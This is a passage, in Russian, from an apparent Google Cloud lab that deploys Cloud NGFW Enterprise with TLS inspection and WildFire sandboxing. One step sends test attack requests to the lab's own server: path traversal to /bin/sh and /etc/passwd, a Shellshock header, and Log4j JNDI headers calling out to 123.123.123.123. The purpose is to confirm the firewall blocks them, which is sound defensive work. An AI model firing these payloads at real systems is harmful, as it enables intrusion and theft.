Обновите YAML-файл правил TLS, чтобы включить конфигурацию доверия:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Импортируйте обновленные правила TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Проверка TLS-инспекции трафика между конечными точками

Снова подключитесь к клиенту по SSH, чтобы протестировать трафик между зонами с обновленной конфигурацией доверия:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Выполните пример запроса TLS к серверу:

curl https://$target_privateip --max-time 2

Если вы по-прежнему видите приведенные ниже данные, подождите, пока изменения вступят в силу.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Ожидаемый результат:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Отправьте на сервер вредоносный тестовый трафик:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ответы не получены, как и ожидалось (см. ниже). Это подтверждает, что атаки на трафик между серверами теперь блокируются.

13. Журналы

В Cloud Console перейдите в раздел Logging > Logs Explorer, введите фильтр ниже и запросите журналы. Замените [PROJECT_ID] на идентификатор своего проекта:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Записи в журнале Cloud NGFW Enterprise должны выглядеть примерно так:

5b68cc1063c0f4bd.png

Разверните записи журнала и обратите внимание, что атаки, отправленные с клиентской виртуальной машины на сервер, были идентифицированы и заблокированы (Уязвимость удаленного выполнения кода Apache Log4j, как показано на скриншоте ниже).

478f18f8481e90ed.png

Вы успешно развернули Cloud NGFW Enterprise с проверкой TLS для блокировки вредоносных запросов.

Перейдите к следующему разделу, чтобы настроить и проверить расширенную тестовую среду для вредоносного ПО (WildFire), или сразу перейдите к разделу Очистка.

14. [Необязательно] Настройте Advanced Malware Sandbox (WildFire)

Расширенная изолированная среда для вредоносного ПО (WildFire) расширяет возможности предотвращения угроз Cloud NGFW Enterprise, проверяя передаваемые файлы и отправляя неизвестные файлы в облачную изолированную среду (на базе Palo Alto Networks Advanced WildFire) для глубокого поведенческого анализа.

Примите лицензионное соглашение с конечным пользователем для Advanced Malware Sandbox

Прежде чем включать расширенную песочницу для вредоносного ПО на конечной точке брандмауэра, необходимо ознакомиться с лицензионным соглашением с конечным пользователем (EULA) и принять его в платежном проекте ($billing_project). Это можно сделать только в консоли Google Cloud. Перейдите в раздел Сетевая безопасность > Конечные точки брандмауэра, измените конечную точку $prefix-$zone, выберите Включить расширенную песочницу для вредоносного ПО (WildFire) в разделе Расширенная конфигурация и нажмите Принять и продолжить.

Как включить расширенную изолированную среду для вредоносного ПО на конечной точке брандмауэра

Включите расширенную изолированную среду для вредоносного ПО в существующей конечной точке брандмауэра $prefix-$zone с помощью gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Убедитесь, что на конечной точке брандмауэра включена расширенная изолированная среда для вредоносного ПО.

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Ожидаемый результат (проверьте wildfireSettings: enabled: true и state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Создайте и настройте профиль безопасности WILDFIRE_ANALYSIS

Создайте профиль безопасности Advanced malware sandbox (WILDFIRE_ANALYSIS) с названием $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Затем добавьте правило асинхронной отправки, чтобы отправлять файлы APK как при загрузке, так и при скачивании (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Проверьте настроенный профиль безопасности WILDFIRE_ANALYSIS:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Ожидаемый результат:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Обновите группу профилей безопасности ($prefix-spg)

Обновите $prefix-spg, чтобы прикрепить $prefix-sp-wildfire:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Ожидаемый результат:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Поскольку правило 900 политики брандмауэра (EGRESS через tcp:443 с --action=apply_security_profile_group и --tls-inspect) уже ссылается на $prefix-spg, зашифрованные скачивания файлов по протоколу HTTPS, инициированные из $prefix-$zone-client, автоматически расшифровываются проверкой TLS и оцениваются расширенной песочницей для вредоносного ПО без необходимости изменения правил политики брандмауэра.

15. [Необязательно] Проверьте отправку файлов в расширенную изолированную среду для вредоносного ПО и криминалистический анализ

Как протестировать асинхронную отправку в тестовую среду и фильтрацию по типу файла

Подключитесь к клиентской виртуальной машине ($prefix-$zone-client) через прокси-сервер с идентификацией (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Скачайте на клиентскую виртуальную машину тестовый файл APK Palo Alto Networks по протоколу HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Затем скачайте общедоступный тестовый файл ELF Palo Alto Networks по протоколу HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Поскольку правило отправки в $prefix-sp-wildfire нацелено только на файлы APK (--file-types=APK), брандмауэр не отправляет файл ELF в расширенную песочницу для вредоносного ПО.

Выйдите из терминала клиентской виртуальной машины и вернитесь в Cloud Shell.

Как проверить WildfireSubmissionLog в Cloud Logging

В Cloud Console перейдите в раздел Logging > Logs Explorer, введите фильтр ниже и запросите журналы. Замените [PROJECT_ID] на идентификатор своего проекта:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

После завершения анализа в песочнице (обычно в течение нескольких минут) для скачивания файла APK появится запись WildfireSubmissionLog, а для скачивания файла ELF журнал отправки не будет создан. Если запись в журнале не появится через несколько минут, подождите 15 минут, пока не завершится распространение группы профилей безопасности, и снова скачайте файл curl. Разверните запись в журнале и обратите внимание, что ее полезная нагрузка JSON похожа на следующую:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Обратите внимание на ключевые поля в wildfireDetails:

  • fileType: "APK" и subtype: "WILDFIRE" подтверждают асинхронный анализ изолированной среды для передачи APK.
  • file – название файла, предоставленное сервером (wildfire-test-apk-file.apk), которое может отличаться от названия локального файла, используемого с curl -o.
  • hash – уникальный дайджест SHA-256 тестового образца.
  • verdict и severity определяются в результате анализа в изолированной среде.
  • reportUri и sampleUri содержат прямые ссылки для получения отчета о динамическом анализе и отправленного образца.

Просмотр образца и скачивание артефактов

В Cloud Console выберите проект и перейдите в раздел "Сетевая безопасность > Журналы NGFW Enterprise > Отправка в расширенную песочницу для вредоносного ПО". Нажмите на запись wildfire-test-apk-file.apk, чтобы посмотреть сведения об отправке, включая хеш SHA-256 файла, вердикт и конечную точку брандмауэра. В меню Дополнительные действия для отправленного файла можно выбрать Скачать отчет об анализе, чтобы скачать отчет о динамическом анализе в формате PDF, или Скачать образец вредоносного ПО, чтобы скачать отправленный файл.

Вы также можете скачать отчет об анализе и пример из Cloud Shell, используя значения reportUri и sampleUri из записи WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Как удалить инструмент и его компоненты

Очистка базовых настроек

Удалите экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Если роли tagAdmin и tagUsers были изменены, выполните следующие действия:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалите ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевое правило Cloud Firewall и связь:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалите Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалите зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, and TLS Clean-Up

Удалите группу профилей безопасности и профили безопасности в указанном порядке (если вы выполнили необязательные действия из раздела "Расширенная песочница для вредоносного ПО", также выполните команду для удаления $prefix-sp-wildfire после удаления $prefix-spg):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Удалите связь конечной точки Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Удалите конечную точку Cloud Firewall. Это может занять около 20 минут.

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

При необходимости убедитесь, что конечная точка Cloud NGFW удалена, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Для конечной точки должно быть указано следующее состояние:

STATE: DELETING

После этого конечная точка будет удалена из списка.

Удалите правила TLS и конфигурацию доверия в следующем порядке:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Отключите и удалите корневой ЦС и пул ЦС:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Очистка подсети и VPC

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Поздравляем!

Поздравляем! Вы успешно выполнили практическую работу по Cloud NGFW Enterprise для проверки TLS в трафике между зонами и исходящем трафике.